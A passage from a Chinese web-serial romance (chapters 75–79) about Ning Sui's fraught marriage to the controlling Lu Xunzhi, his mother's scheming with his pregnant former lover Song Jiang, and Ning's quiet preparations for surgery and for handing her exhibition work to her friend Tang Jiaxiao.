宁穗快速收回视线,不想再看,也不敢再看。 这张脸,她爱了太久。 她真的怕,自己会心软。 如果到这一步,她还会原谅,那她真的看不起自己。 陆勋之抱着她进了卧室,宁穗浑身紧张,抱住他脖颈的手都不住地收紧。 觉察到她的紧张,陆勋之嘴角却轻轻勾了勾,抱着她坐在沙发上。 宁穗坐在他腿上,微微高于他。 陆勋之轻扬起头看她,两人的物理位置调换。 宁穗仿佛成了那个在上位的人。 她垂眸扫了陆勋之一眼,这个角度,陆勋之看上去不似白天那么高高在上,甚至红红的眼睛,给他添加了几分柔和。 宁穗快速收回目光。 陆勋之手伸进她的衣襟,宁穗下意识地按住。 她的指尖轻颤。 流产之后,她似乎对这种事更加抗拒。 每次亲密接触,对她来说都是一场凌迟。 剐得她血肉淋漓。 她深吸一口气,勉强压下自己的情绪,可开口就颤抖的声音还是出卖了她。 “我刚做过手术,一个月不能同房。”宁穗垂着眸子淡淡说。 虽然这种挣扎根本没有意义,陆勋之真的禽兽起来,可能什么都不顾。 宁穗也没想他会顾忌她的身体,不然他也不会提出要跟她生孩子的无礼要求。 她已经想好了,要是陆勋之硬来,她就拿花瓶砸他。 男人微不可查地轻叹一声,微微凑近,鼻尖若有似无地碰到她的脸颊。 说出来的话,让宁穗瞬间烧红了脸。 他说:“也不是非要做。” 话落,他的手落在她的手上。 宁穗条件反射的一抖。 是啊,不用做,还有很多方法纾解。 可那同样是在对她的侮辱。 宁穗瞳孔震动,眼圈倏地红了,紧紧抿住唇。 似是豁出去,因愤怒而颤抖的声音,透着决绝,“宋姜也有手,有嘴。” 何必找她。 陆勋之愣住,不明白为什么宁穗突然提到宋姜。 什么手,嘴…… “宁穗!”陆勋之带着薄怒,手指捏住她的下巴,轻轻抬起,“你以前不是这样的。” 宁穗嘲讽的笑笑,她以前当然不是。 那时候太爱陆勋之了,他想要什么,她都会给。 就算是要她的心,也愿意剖开胸腔拿出来给他。 可他呢? 把她的真心丢在地上踩。 她真的快要爆炸了,同样不想让陆勋之好过,“这么下贱的事,小三来干,不是应该的吗?” 陆勋之满眼的迷惑,低低骂了一句,刚才伸进衣襟的手又往里探了探,随即拿出宁穗的手机。 他对着宁穗晃了一下,手机人脸解锁。 宁穗完全懵了,所以刚才他是在拿她的手机? 那她刚才的话…… 真烦! 好在陆勋之没有就这件事跟她纠缠,而是自顾自打开手机,熟练地找到聊天软件,调出王习的聊天框。 “呵,‘别为了我做傻事’,你俩还真是苦命鸳鸯。”陆勋之重复着王习发来的信息,嘴角含笑,眼底却尽是冰霜。 嘲讽的语调,让宁穗特别不舒服,她伸手去抢手机,“还我!” 陆勋之身高手长,随手一抬,另一只手又禁锢住宁穗的腰身,让她根本抢不到。 “我偏不,我就喜欢拆散别人。”陆勋之咬着后槽牙,不知道是在说气话,还是在陈述什么事实。 宁穗眼睁睁看着,他修长的手指随意点了两下,就把王习给删除了。 她对陆勋之这种幼稚的行为,真的无语,一把抢回来手机,想要加回王习。 陆勋之的大手盖住手机屏幕,声音透着威胁,还有几分恼羞成怒,“你敢加回来试试。宁穗,我的耐心有限。” 宁穗使劲闭了一下眼睛,她真的怕惹恼了陆勋之,他会再发疯抓走王习。 她缓缓睁开眼,耐着性子跟他解释,“我和王习不可能完全不来往,我提交给桑甜的巡展名录里,还有一部分需要王习提供。再说,我师母那里最近出了一些事,委托我和王习在处理。” 陆勋之冷哼一声,“借口。” 宁穗气笑了,“是,我说什么都是借口。你不相信我,我说什么都是废话。” 陆勋之的下颌紧了紧,“我没说你说废话。” 宁穗懒得跟他咬文嚼字,多说一句话,都觉得是浪费时间。 她现在只想解决问题,“我顶多答应你,我以后不会单独跟王习见面,只要有事见面,一定会有第三者在场,这样总行了吧?” 陆勋之的眉梢微微挑起,眉宇间的烦躁也消散了不少。 他从鼻腔里冷哼一声,语气别别扭扭,“你最好说到做到。” 宁穗觉得陆勋之真的太无理取闹。 以前他也这样吗? 还是她太爱他,导致对他有了滤镜。 这么一闹,宁穗的力气也都用完了,她起身离开,走进洗手间,洗了一把脸。 她直起身子,拿了棉柔巾刚擦净脸,男人便进来走到她身后。 双手落在她身侧的洗手台上,将她框在方寸之间。 他微微倾身,下巴轻轻搁在宁穗肩窝里,跟镜子中她对视,目光粘稠得有些撩.人。 “你刚才说什么?” 宁穗茫然地看着他,薄唇轻启,唇角勾起淡淡的弧度,“手,嘴?” 这两个字在陆勋之的唇齿间咀嚼,涩气满满。 宁穗看到镜子中的自己,脸颊肉眼可见的红透,她羞恼的胸口起伏,“陆勋之!我只是答应跟你生孩子,我没义务伺候你!” 跳脚的像只炸毛的小猫。 男人却弯唇笑笑,捏住她的下巴,低头与她对视,“急什么?逗逗你而已。” 宁穗僵住,看着陆勋之微微弯起的眼睛,好看得像是艺术品。 带着笑意的声音,仿佛两人是热恋中闹别扭的小情侣。 睁眼的割裂感,让宁穗有一瞬间的宕机。 手机铃声在空旷的房间里回荡,让宁穗回神,她看到陆勋之拿出手机,屏幕上闪烁着宋姜的名字。 刚才的暗昧瞬间被冲散,宁穗心里只有报复的念头。 在陆勋之手指快要触碰到屏幕时,宁穗突然捧住他的脸转过来,吻了上去。 第75章 没就没了,又不是我的孩子 陆勋之瞳孔微缩,慢半拍地回应她,手机随意丢在洗手台上。 宁穗一直睁着眼,看着陆勋之陶醉地闭上眼睛,余光瞥过去,手机正在通话中。 两人的动静虽然不大,但是急促的呼吸被空旷的浴室无限放大。 水渍声,分不清彼此的呼吸声。 都是成年人,这边在发生什么,那边不可能不知道。 宋姜真能忍,居然在那边安静听着。 宁穗眼底闪过一丝冷漠,她冷静地看着陆勋之沉沦,手往下。 柔着力气,一抓。 男人倒吸一口气,呼出隐忍压抑的声音。 陆勋之像是封禁了很久,突然被放出来的野兽,嗅到了猎物的气息,整个人蓄势待发。 宁穗钻了空子撤出来。 男人怀里一空,猛地睁开眼,眼底还是浓得化不开情念,眼尾都微微泛着红色。 他喉结上下滚动,声音染了情,而有些沙哑,“怎么了?” 宁穗半是害羞地整理了一下头发,语气有些示弱,甚至是打着商量,“医生说一个月不能同房。你可以忍忍吗?” 陆勋之愣了一下,他眼底的情潮倏然褪去,他抹了一把脸,“抱歉。” 宁穗微愣,她没想到陆勋之会这么好说话。 她挑起来的火还挺旺的,本以为陆勋之会再跟她拉扯一番。 既然他同意了,宁穗也不敢久留,转身离开,在开门的一瞬间,她看到通话被挂断。 陆勋之低头看了一眼,自己已经一塌糊涂。 舌尖抵了一下腮,他有些烦躁地拿起手机,却看到刚才的通话,持续了两分多钟。 刚才不小心接通的? 陆勋之按灭手机,没打算回复,突然想到什么,视线投向门外,冷不丁笑了一声。 宁穗逃也似的回到卧室,心跳现在还砰砰作响。 她从小都循规蹈矩惯了,因为在孤儿院的经历,她知道自己在领养家庭里只有听话,才能换取生存的机会。 宁安静是老师,对她要求也比较严格。 她前半生做过最出格的事,就是坚持嫁给了陆勋之。 所以在干坏事上,她还是有些心虚的。 手机震动,又一个新的陌生号码发信息过来,【宁穗,你死定了!】 隔着屏幕,宁穗都能想象宋姜的愤怒暴躁,恨不得手撕了她吧? 宁穗勾唇冷笑,直接拉黑了这个号码。 之前她试着查过这些陌生号码,但都是虚拟号,根本找不到。 不用想,也知道是宋姜,只不过她没有证据。 就算她有证据,告诉陆勋之又怎么样呢? 他根本不会站在宁穗这边。 以前不会,现在宋姜都拿到股份了,那跟陆勋之更是一条船上的人,那他更要维护宋姜。 毕竟百分之五的股份不多,要是宋姜站到陆勋之的对立面,那可能就是决定性的百分之五。 是可能改变陆氏格局的一个棋子。 所以,现在陆勋之和宋姜,绑定得更紧密了。 宁穗闭上眼,靠在门板上,她现在已经不关心陆勋之和宋姜到底发展到哪步。 她只想,自己该如何脱身呢? 手机再次震动,宁穗打开看,是裴斯年的信息,【手术安排在一个月后。】 宁穗愣了愣,转而高兴地红了眼睛,终于盼来了,她赶紧回复裴斯年,屏幕上倒映着她的笑脸,眼底都是泪花,【谢谢裴医生。】 发完,对方回了一个不客气的表情包。 宁穗捏着手机,紧紧捂在胸前,好像从裴斯年的信息里,就能吸取到能量一样。 她突然想到什么,又调出裴斯年的信息,将一些关键性的信息存到邮箱加了密码。 其余的都直接删除了。 陆勋之现在没有下限,居然会看她的手机,要是被他看到,还不知道会发生什么。 这是她最后的生还机会,不允许有一丝差错。 宁穗整理完,便去了浴室。 这里的浴缸是刚结婚的时候选的。 她很喜欢,这些年,陆勋之在家的时候少,就算回来,他也只是冲凉。 浴缸也就成了她的专属。 泡进浴缸之后,宁穗被温和的水流包裹,还开启了按摩功能。 难得这么舒服地享受,宁穗没一会儿就睡着了。 也不知道睡了多久,宁穗缓缓醒来,眼皮都懒得抬,伸手去拿浴巾。 可刚伸手就摸到了浴巾,宁穗刚要起身,肩膀露出水面,一凉,她突然清醒。 浴巾应该在比较远的地方,怎么会在手边,她猛地回头,正撞见陆勋之坐在浴缸旁,垂着眸子,似笑非笑地看着她。 他的视线随着她的动作,慢慢往下移。 宁穗瞳孔微缩,拉过浴巾挡住,又迅速缩回水面之下。 “你、你在这干什么?”宁穗气急败坏,脸颊都跟着红了。 陆勋之却慢条斯理地,“要不是我在这看着,你刚才就淹水了。还有,”他余光瞥了一下中控台,“也不开恒温,你是想感冒?” 明明都是好话,但从陆勋之嘴里说出来,就是这么气人。 宁穗丝毫感激都没有,硬邦邦的轰人,“你先出去。” “为什么?” “我要换衣服!”宁穗真的无语,语调都跟着升高了两个八度。 “又不是没见过。”陆勋之大言不惭。 “……” 这个人的底线真的能超出宁穗的想象力,她气笑了,一时不知道该说什么。 男人却缓缓倾身凑近她,双手撑在浴缸边缘,将她困在怀里。 宁穗使劲往后靠,可退无可退。 “好玩吗?”男人攫住她的视线,低声如情人见低语,磋磨人的耳朵。 宁穗茫然地看着他,“什么?” 陆勋之唇角微勾,眼底却没什么情绪,“故意给她听的?” 宁穗恍然,原来是因为刚才那通电话。 宋姜是跟他告状了? 他大概费了力气跟宋姜解释吧? 她眼睫颤动,目光躲闪,“不知道你说什么。” 修长的手指攀上她的小臂,微凉的指尖,摩挲她的皮肤。 宁穗的手指蜷缩起来。 男人更靠近了几分,两人的呼吸都混在一起。 “让她听这个有什么意思?”陆勋之语气缓缓,“来点实际的,不是更刺激?” 宁穗的脸颊瞬间滚烫,她微微撇开脸,“你就不怕你的白月光,气得流产?” 陆勋之眼底闪过暗芒,轻哼一声,“没就没了,又不是我的孩子。” 第76章 就这么嫌弃我? 宁穗僵住,亲子鉴定她都看到了,那明明就是陆勋之的孩子。 他却说这种话。 一股寒意从宁穗的心里涌上来,她胃里有些翻腾。 脸色都跟着白了几分。 所以她的孩子没了,对于陆勋之来说,是不是更没有意义? 陆勋之没觉察到她的变化,抬手捋了一下她耳边的碎发,“吃醋了?” 宁穗扯唇冷笑,“喜欢你才会吃醋,我这只是看热闹。” “热闹?”陆勋之冷嗤一声,“那就来点热闹的。” 说着他拉住宁穗的手,另一手压住她的后脑,将人往跟前带。 池水被扬起来,发出刺耳的哗啦声。 宁穗吓了一跳低呼出声。 两人鼻尖挨着鼻尖,陆勋之说出的话恶劣得很,“不是说有手,有嘴吗?” 宁穗瞳孔骤缩,她迎上陆勋之的眸子,黑沉得吓人,跟刚才闹着玩的样子完全不同。 是为宋姜来报复她吗? 陆勋之干脆将人拎出来,随手用浴巾将人裹住,打横抱起。 宁穗慢半拍反应过来,又踢又踹,可她那点力气,在陆勋之眼前根本不够看的。 男人强硬地将她按倒在床上,宁穗两手被压过头顶。 挣扎中浴巾已经遮不住。 身上凉意涔涔,宁穗微微颤抖起来。 眼角流出生理性的泪水,恼怒,愤恨,还有反抗不了的憋屈。 可男人并没有下一步的动作,直到耳边传来王习的声音,“穗穗?” 宁穗倏地睁开眼,不可思议地看向身前的男人,对方竟然用她的手机,给王习打通了电话。 “师兄,我没事,快挂掉——啊!” 宁穗的锁骨上传来钝痛,陆勋之咬了她,不遗余力。 疼得她低呼出声。 那头传来王习紧张的声音,“穗穗,你在哪儿?出什么事了?” 陆勋之恶劣地凑到她耳边,学着王习的语气,气声低语,“穗穗?呵,说啊,你到底出什么事了?” 宁穗羞愤难当,她几乎是喊出来的,“王习,挂断!” 话音未落,陆勋之的吻砸下来。 暗昧的水渍声,粗重的呼吸。 那头王习再傻也知道这边在发生什么。 宁穗死死咬着牙关,眼睛一眨不眨地望着手机屏幕,好在王习只犹豫了两秒便挂断了电话。 宁穗重重松了一口气,就在这个空档,下巴被人猛地掐住。 陆勋之冲破她的齿关。 一个小时后,宁穗腿脚发软,站在洗手台前,看着自己身上深深浅浅的痕迹,还有脸颊上暗昧的绯红。 宁穗闭了闭眼,使劲洗手。 “都打了三遍洗手液了,你是想洗脱皮?”男人打趣的声音传来。 宁穗倏地抬眸,在镜子中看向他。 男人衬衣敞开,满是褶皱,西装裤更是松垮垮地挂在腰上。 眼底满是餍足地望着她,额间几缕碎发垂下,看上去没什么攻击性。 “就这么嫌弃我?”陆勋之冷哼一声,“刚才我帮你的时候,也没见你推开我。” 他唇边上还有些暗昧的液渍。 宁穗只看了一眼,就烫得她不敢再看,慌乱收回视线。 特别用力的又搓洗了一遍手,才罢休。 她低着头没再看他一眼,转身走出浴室,在衣帽间随便扯了两件睡衣换上,转身要往卧室外走。 男人叫住她,“去哪儿?” 宁穗顿住,“回去睡觉。” “这不能睡?”陆勋之斜靠在床边,拍了拍身侧的床面,“过来。” 宁穗顿在原地。 “还想让我给王习打电话?”陆勋之威胁道,“过来,现在。” 宁穗紧紧闭了一下眼睛,倏地转身走过去,从另一侧上去,扒着床边躺着,恨不得离他八丈远。 男人从身后贴上来,直接将她捞进怀里。 宁穗挣扎了两下,实在拗不过,只好放弃。 陆勋之鼻尖蹭她的耳廓,没说什么,也没下一步的动作。 宁穗刚才折腾得有些累,尤其是右手,酸麻得不行。 他的怀抱很温暖,宁穗很快睡了过去。 黑暗中,陆勋之缓缓睁开眼,借着月光,看着怀中的人。 睫毛在眼睑上落下一层淡淡的阴影,特别恬静。 陆勋之的眼神柔和了一些,嘴角缓缓勾起弧度。 …… “宁老师,有人找。”教秘敲响了宁安静办公室的门,随即带进来两个人。 宁安静拿下花镜,抬眼看过去,看到来人,面色沉了沉,“好,谢谢张老师。” 她起身,客气抬手让座,“陆夫人找我有事?” 郑美婵带着宋姜入座,笑得温柔得体,“宁老师,我也不耽误你太多时间。就有一件事,我想我们的立场是一样的。那就是我希望勋之和宁穗离婚。” 宁安静礼貌的笑意淡了淡,“那你应该去跟陆勋之谈,现在是他不肯离,我家穗穗早就想离了。” 这话说得不客气,郑美婵的脸色僵了僵,随即笑笑,从鳄鱼皮包里拿出一份文件,放在茶几上,推到宁安静跟前。 “你先看看这个。” 宁安静狐疑地看了她一眼,拿起文件看,越往后看,手指颤抖越严重,连带着纸张都跟着抖动起来。 她唇角抿成直线,勉强维持着表情放下文件。 “我现在孩子都显怀了,宁穗还不离婚,是想逼死我吗?”宋姜吸了吸鼻子,说得可怜巴巴。 宁安静摘下眼镜,冷眸看向宋姜。 宋姜微愣,这个眼神,好熟悉的感觉,宁穗就是这种眼神。 “你明知道陆勋之有家室,还怀他的孩子,你的教养呢?你有什么资格说宁穗?” 宁安静语气透着冷意,因为愤怒而有些颤抖。 宋姜被她的气势镇住,张了张嘴也不知道怎么反驳,咬住嘴唇只能吃下这口恶气。 郑美婵见再说下去也讨不到便宜,而且该说的已经都说了。 她拿起文件,优雅地装进皮包里,缓缓起身,“宁老师,事情就是这样,就算是为了宁穗,您也多劝劝。” 说完,郑美婵带着宋姜离开。 两人坐上车,宋姜有些担心,“亲子鉴定就这么给宁安静看了,勋之知道的话,会不会有麻烦?” 郑美婵闭目养神,高贵的面容,说出的话,却刺得宋姜难受,“你不早就给宁穗看了吗?” 第77章 帮她补身体 宋姜一噎,垂下眸子,掩去眼底的怨毒,没想到这老太婆,人在国外,倒是什么都知道。 “不用担心。”郑美婵缓缓睁开眼,眼底满是算计,“宁安静要里要面一辈子,当初宁穗嫁给陆勋之,她一万个不愿意,到最后还是愿意给宁穗撑场子,出席婚礼。就说明在她心里宁穗和面子一样重要。” 宋姜点点头,但还是担忧,“可是宁安静和老太太关系那么好,万一她去找老太太主持公道……” 郑美婵优雅地挽了一下发髻,“我都亲自出马说这件事,也就意味着老太太也知道了。不管老太太是什么态度,她默认你继续怀着孩子,那就是支持这个结果。宁安静不会自讨没趣。还是那句话,她是个要面子的人。” “再说了,如果她还是不肯去劝宁穗,那就找人在她学校里散播一点谣言,说宁穗第三者插足,原配大着肚子来声讨宁安静。” “网上每天那么多谣言,谁会去查真假,人们只会趋之若鹜地吃瓜,拱火,网曝人,根本不会管他们是不是无辜的。” 到这一步,宁安静被逼得快要过不下去,自然会催着宁穗离婚。 宋姜松了一口气。 郑美婵冷嗤一声,“瞧你这沉不住气的样子,给宁穗看鉴定报告有用?她还不是又去爬陆勋之的床?男人都是下半身动物,不睡白不睡。” 宋姜想到这个就咬碎银牙。 那天她在电话听到陆勋之那么动情的声音,她的心都快要呕死了。 宁穗这个贱人! “行了,我要走了。”郑美婵不耐烦地看了一眼时间。 她被陆勋之赶到国外,勒令她不准回来,她连私人飞机和机票都不敢买,生怕被陆勋之查到。 还是想法设法搭乘了朋友的私人飞机,拖了人才赶回来办这件事。 现在还要赶着回去,以免被陆勋之盯着她的人发现她不见了,多生事端。 宋姜恭敬道,“好的,那我就先回去了。”她刚要下车,被郑美婵叫住。 “你倒是有点手段,能让陆勋之跟你办婚礼,还有给股份。倒是比我想的更有用。” 宋姜的手紧紧抓住门把,指节捏得发白,却只敢笑着说:“您过奖了。” 郑美婵轻蔑地哼了一声,“你要是能把陆勋之手里的股份都掏过来,我就让你留在陆家。” 宋姜眼睫颤动,显然是动心了。 郑美婵继续加码,“到时候,你要是想留在陆勋之身边,也随你。他就算不是陆家的掌权人,生活也不会变差,看看他爸爸就知道了。” 纨绔子弟一个,完全不管家里的事,花不完的钱,享不完的福。 “好的,阿姨,我知道了。”宋姜回答。 “没外人的时候,不用叫我阿姨,叫我陆夫人。” 宋姜指尖嵌进掌心,“是,陆夫人。” …… 宁穗一觉醒来,已经快到中午。 她翻身,另一边已经凉透。 陆勋之早就走了。 昨晚上的亲昵就像是一场梦。 宁穗拿起手机,好几通未接和留言,微微拧眉,怎么都没听到呢? 她一向都不关声音的,点开一看,手机静音了。 是陆勋之。 宁穗点开来看,翻了翻,先回了唐佳笑。 那头秒接,听到宁穗的声音,重重松了一口气,“穗穗,你没事吧?怎么不接电话啊?” 宁穗不知道怎么跟唐佳笑说,自己又没骨气地回到陆勋之这边。 她烦躁地抓了一把头发,但还是哄着唐佳笑,“没事,就是手机静音了。我昨晚太累,睡到现在,对不起啊,笑笑,让你担心了。” 唐佳笑不疑有他,这段日子她一直请假在家照顾母亲,终于有所好转了,父母又劝着她赶紧回来工作。 不要因为照顾他们就不上班了。 她回到工作室,就去找了王习,问到宁穗的时候,对方支支吾吾没说出什么来。 王习自己还受伤了,唐佳笑吓坏了,赶紧给宁穗打电话,但是一直打不通。 “那就好了,王习一直跟我说你应该没事,我还不信。”唐佳笑的话,让宁穗愣了愣,想到昨天晚上。 陆勋之为了给宋姜出气,如法炮制地惩罚她。 她就羞恼地想找个地缝钻进去。 抬手盖住眼帘,“真没事,笑笑,我有点饿,我先去吃饭了。” 宁穗匆匆挂断,再说下去,她真的不知道怎么面对唐佳笑。 起身洗漱完走到衣帽间,她拉开柜门,发现自己之前的衣服也都还放在原处。 不仅这些,还有些当季的新款添进来。 可陆老太太已经病了,哪还有心思帮她购置新衣物呢? 大概是刘姨吧,她一向细致。 她其实瘦了挺多的,但是有一批新的衣服是按照她现在的尺寸买的。 宁穗没纠结这件事,随便挑了一件比较低调且休闲的衣服换上,便下了楼。 刚走到一楼就闻见饭香,从厨房那边飘出来。 一下子勾起了宁穗的馋虫。 她愣了下,缓步往那边走。 这边的佣人,之前都退掉了,这是又请了新厨子吗? 刚走到厨房门口,宁穗愣住,被眼前的景象完全给镇住。 陆勋之穿着一身深灰色的休闲装,站在炉灶前,正在搅动砂锅里的汤。 余光瞥见她,他缓缓转过头来,面色淡淡的,没什么特别的表情,“醒了?马上热好了。” 他轻摆了一下头,“先去坐。” 宁穗想走开的,但是脚不由自主地走到餐桌前,她便坐了下来。 陆勋之盛了一碗放在她面前。 里面有肉有菜,还有一点细面,闻起来很香,还有淡淡的药材味道,像是药膳。 她瞬间没了胃口。 之前被郑美婵逼着喝了那么多断子绝孙的药,她现在有心理阴影。 陆勋之觉察到什么,坐在她对面,自己先喝了一口,“放心,没毒。” 宁穗倏地看向他,难道他已经知道了? 麻木的心突然有了一丝期待,如果他知道郑美婵怎么对她,会不会帮她做什么? 宁穗的手缓缓蜷缩起来,“我的身体状况根本不可能再怀孕,所以你的要求——”她根本做不到,就放过她吧。 “这是陆治之找人要来的配方。”陆勋之淡声打断她,“帮你补身体的。宁穗,会好起来的。我答应你。” 第78章 毁掉我的生活,你还不满意? 宁穗的心倏地荡到谷底。 甚至没有觉察到陆勋之最后那句话,尾音有些发颤,甚至带着淡淡的乞求。 在她看来,陆勋之只是关心她的子宫能不能好起来,是不是能生出孩子。 仅此而已。 宁穗垂眸抿唇,根本不打算动筷子。 陆勋之起身走到她跟前,蹲下身去,端起碗,舀了一勺,在唇边吹了吹,递到宁穗嘴边。 “试一试,嗯?” 语气温柔,可不容拒绝。 宁穗很清楚,她要是不照着做,陆勋之会使出无数让她妥协的手段。 既然这样,那还不如就随他意吧。 宁穗垂眸看着勺子里清凉的汤汁,可药材的味道被无限放大,直冲她的鼻尖,她胃里猛烈地翻腾起来。 她捂着嘴起身,撞翻了药碗,半碗汤撒在陆勋之袖口。 他的衣服很薄,手腕立刻就被烫红了。 洗手间里传来宁穗干呕的声音,陆勋之顾不上袖口下皮肤的灼热感,跟了进去,帮宁穗轻拍后背。 她胃里是空的,只吐出来一些酸水。 脸色苍白,整个人看上去憔悴得可怜,她趔趄地起身,轻轻推开陆勋之的手,到洗手台那冲洗干净,又拖着步子,走到餐桌前。 她盯着那半碗汤,使劲闭了闭眼,再睁开,直接端起来,喝了下去。 “宁穗!”陆勋之喝了一声,但已经来不及,宁穗全都喝了。 她勉强咽下去,抹了一把嘴角,但热汤冲进她的喉咙、食道,还没到胃里,就已经开始翻江倒海。 她捂着嘴踉踉跄跄冲进洗手间,随即是更猛烈的呕吐声。 陆勋之额头青筋跳动,头疼欲裂,他刚想上前,便看到宁穗走出来。 脸色比刚才更苍白了几分,她踉跄着走到餐桌边,拿起放在陆勋之那边的一碗汤,赌气似的又要喝。 刚沾到嘴边,陆勋之一把拉住她的手腕,声音冷厉,“够了,不要喝了。” 宁穗缓缓掀起眸子看向他,嘴角扯出嘲弄的笑,“我不喝,怎么给你生孩子啊?” 她的笑像是一把刀子,深深割在陆勋之的心口上。 宁穗甩开他的手,又去喝汤。 男人直接抢过去,将碗丢在桌上。 下一秒,宁穗被一个力道扯进怀里,她的鼻尖撞到陆勋之的胸膛,硬邦邦的,酸了一下。 眼泪不争气地往外冒,宁穗使劲眨着眼睛不让它流下来。 陆勋之的力道很重,仿佛要将她嵌进骨血。 宁穗有些看不懂他,不是他要给她养身体生孩子吗? 现在这又是在做什么。 陆勋之放在桌上的手机一直震动,他看都没看,可对方一遍遍地打过来。 宁穗推开陆勋之,坐到餐椅上。 男人抹了一把脸,接通了电话。 唐桓的声音传过来,“陆总,给夫人停了卡,她在闹。” 陆勋之转眸看向宁穗,她的下巴又尖了一些,整个人看上去好像只剩一把骨头了一样。 郑美婵这么折腾宁穗,他只是将她软禁在国外,停了卡而已,有什么可闹的? 陆勋之缓步走向不远处的露台,“你再帮我做件事,用我私人的账户,大量收购郑家的股票,然后砸盘。” 唐桓愣住,这么搞,郑家的股价肯定要跌,而且没准停牌整顿。 郑家这几年虽然还在御城排得上,但是外强中干,那家的舅爷仗着跟陆家的关系,到处拉合作。 但是能力有限,做得实在差强人意,勉强维持表面的风光。 这么一闹,郑家没准要彻底退出御城豪门圈。 那郑美婵还不得闹翻天。 要知道,郑美婵对她的侄子,比对陆勋之都好。 要说之前对郑美婵只是大惩小戒。 那现在陆勋之要动郑家,那就是彻底不给郑美婵留后路了。 母子俩连最表面的和谐,都将不复存在。 唐桓不敢违抗,只能答应,“是,陆总,我马上去办。” 陆勋之打完电话,又在露台上平静了一会儿。 刚才宁穗豁出去的样子,哪里是服软,分明就是跟他斗气。 以前宁穗不是这样的,温柔懂事,对他百依百顺。 可现在她,会对宋姜下死手,昨晚上会做出格的事,说过火的话,刚才又跟他逼死她似的,身体都不顾了。 陆勋之低低骂了一句,转身出了露台。 正好碰到宁穗下楼,她换上了出门的衣服,看样子是要出去。 “去哪儿?”陆勋之双手抄兜,定定看着她。 宁穗在门口换鞋,一眼都没分给他,“上班。” “你去哪儿上班?”陆勋之只是单纯地想知道,宁穗去哪儿。 但宁穗却只听出质问。 她直起身,冷淡地看向他,语气嘲讽,“你差点毁了我朋友的店,又几乎废了我师兄的手。我还能去哪儿?我还敢去哪儿?你一步步毁掉我的生活,你还不满意吗?” 陆勋之的脸色沉下来,“宁穗,你一定要这么跟我说话吗?你甚至都没有问过我是不是我做的,就给我定罪?” “问不问有区别吗?”宁穗扯唇笑笑,“是谁利用我的朋友,一次次逼着我回到你身边,还逼着我给你生——” 宁穗倏地闭上嘴,她真的没有办法再提这件事,胃里那种翻江倒海的感觉又涌上来,快要击垮她。 她还不能垮,她还有很多事要做,她还要活下去。 垂在身侧的手指蜷缩起来,微微颤抖。 宁穗深吸一口气,尽量用平和的语气问,“陆总,我可以走了吗?我去我的出租房工作,这样可以吗?” “不可以。”男人直接拒绝。 宁穗完全愣住,茫然地回望着他。 男人缓步上前,停在离她一步远的地方,目光不似刚才咄咄逼人,“你那个出租房,转身都困难,怎么当工作室?我在隔壁买了一套别墅给你做工作室。以后你就在这办公。” 话落,陆勋之看到宁穗眼底什么东西碎掉了一样,他的心尖疼了一下。 好半天,宁穗才找回自己的声音,“陆勋之,我连人身自由都没有了是吗?我到底是你的妻子,还是你的宠物?” 宁穗自嘲的笑笑,“宠物都算不上,关在笼子里的算禁脔。” “宁穗!”陆勋之沉了脸,“你在胡说什么!我只是想……” 第79章 你给我好好活着 “你想什么,我根本就不在乎。”宁穗直接打算他的话,她踢掉鞋,光着脚,快步上楼。 “现在又去哪儿?”男人的声音涔着冷意。 宁穗顿住,背对着他,“我回房间。也不行吗?陆总?” 陆勋之下颌紧绷,语气里带着浓浓的失落,“宁穗,你都不去隔壁看看吗?” 宁穗哼笑一声,“陆总给的肯定都是顶级的好东西,这五年我已经领教过了。但是再华丽的笼子也是笼子。我不稀罕。” 说完,宁穗直接跑回了卧室。 陆勋之落寞地站在原地,手机响起,他打开看,是唐桓发来隔壁工作室装修好的照片。 他一张张翻过去,是大学时候学校活动室的样子。 那时候宁穗没有自己的工作空间,就总是去那,她说窗外能看到桂花树,一到秋天,桂花开的时候,她就觉得很有灵感。 而且活动室的空间很大,让她觉得心很舒坦。 唐桓的电话打过来,“陆总,装修早就完成了,今天是按照您的要求又添了几个博古架,放太太要巡展的作品。您看这么摆放可以吗?” 这件事本来让设计师做,最后他拍板就行了。 可是陆勋之特别吩咐,每一处装饰,都要他过目后再确定,事无巨细。 就连窗外的桂花树,都是按照他的要求修剪的。 陆勋之缓缓闭上眼,“可以。” 他觉得可以有什么用? 宁穗根本不稀罕。 楼上卧室里,宁穗正在打电话给唐佳笑,“是,你快递给我点工具吧,我在这边做。” 唐佳笑有些担心,“你怎么会又回景园?为什么不能来我工作室做啊?陆勋之不让你出门吗?” 宁穗抿唇,她不想唐佳笑担心,“不是,我就是想休息休息。一天没离婚,我就是景园的女主人,我干嘛要没苦硬吃呢,这里吃好住好。不是挺好吗?” 好在哪儿? 连自由都没有了。 唐佳笑没敢说。 她就算再傻也明白过来。 她店里被人捣乱,母亲受伤,又是陆勋之的弟弟给主刀。 王习莫名其妙被人揍了,胳膊都差点废掉。 这一桩桩,凑到一起,绝不是巧合。 是陆勋之。 他在一步步逼着宁穗回到他身边。 唐佳笑想劝,可是劝不出口,宁穗是为了保护他们才回去的。 她再劝,就是站着说话不腰疼。 两人这么多年的朋友,默契十足,她没提这件事,“好,我给你寄过去,你看需要什么,给我个清单。” 宁穗挤出笑意,“好,我一会儿发给你。对了,你有时间去一下我的出租屋,我有一个柜子锁着,密码我告诉你。里面都是我这些年的手稿和笔记,先放在你那。还有,笑笑,你还要帮我个忙,去一趟桑甜那里,找她拿巡展的设计图。” 她要让唐佳笑一点点接手这件事。 她马上要做手术,成功还好,如果不成功,她也要给唐佳笑铺好后路。 将来这个巡展,就是她的遗作,也是唐佳笑闯出名堂的机会。 桑甜是仁义之人,现在让唐佳笑先跟她接触,到时候宁穗会托孤。 唐佳笑有天赋,出名是早晚的事。 相处这么多年,唐佳笑立刻就明白宁穗在想什么。 可她说这些话,就像是在交代后事一样。 唐佳笑瞬间吓哭了,“宁穗!我告诉你,你不许丢下我!我们说好的,要一起过好日子!没有你,我一个人过的算什么好日子?你给我好好活着,听见没?” 宁穗眼眶也红了,鼻尖酸涩,她扬起眸子使劲眨了眨,勉强挤出笑容,可笑着笑着泪水就流下来,“傻瓜,你别想那么多,乖,按照我说的做。” 那头唐佳笑吸了吸鼻子,抹了一把脸,现在还不是伤心的时候,宁穗说得对,要听她的。 “好,我一会儿去找桑甜。” 唐佳笑一刻也不敢停,拿着宁穗给的清单收拾好东西,吩咐助理叫了快递。 然后她就去了宁穗的出租屋,把宁穗说的东西,小心地整理出来放好。 正好到了跟桑甜约见的时间,她就赶去了美术馆。 一走进桑甜的办公室,桑甜很客气,给唐佳笑亲手倒了茶,闲聊天一样问起来,“最近没见宁穗,她在忙什么?” 